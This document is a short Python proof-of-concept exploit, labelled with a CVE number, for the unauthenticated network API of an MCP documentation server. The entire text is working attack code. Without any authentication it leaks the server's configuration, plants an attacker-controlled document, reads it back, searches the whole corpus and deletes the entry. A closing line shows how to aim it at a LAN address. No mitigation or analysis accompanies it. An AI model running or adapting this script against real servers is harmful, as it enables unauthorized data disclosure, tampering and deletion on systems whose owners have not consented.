CVE-2026-54504: @andrea9293/mcp-documentation-server Unauthenticated Network API Exposure

# Enumerate config, add a document, read it back, search, then delete -- no auth header sent
import json, sys, urllib.request

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
BASE = f"http://{HOST}:3080"

def req(method, path, body=None):
    data = json.dumps(body).encode() if body is not None else None
    headers = {"Content-Type": "application/json"} if body is not None else {}
    r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers)
    with urllib.request.urlopen(r, timeout=10) as resp:
        return resp.status, json.loads(resp.read().decode() or "null")

# 0. Leak config
print(req("GET", "/api/config"))

# 1. Insert attacker-controlled document
status, added = req("POST", "/api/documents", {
    "title": "pwned",
    "content": "ATTACKER_CONTROLLED",
    "metadata": {"source": "unauth-poc"}
})
print(status, added)
doc_id = added["id"]

# 2. Read it back
print(req("GET", f"/api/documents/{doc_id}"))

# 3. Search across corpus
print(req("POST", "/api/search-all", {"query": "ATTACKER_CONTROLLED", "limit": 5}))

# 4. Delete
print(req("DELETE", f"/api/documents/{doc_id}"))

# Run against LAN IP: python3 poc.py 10.0.250.230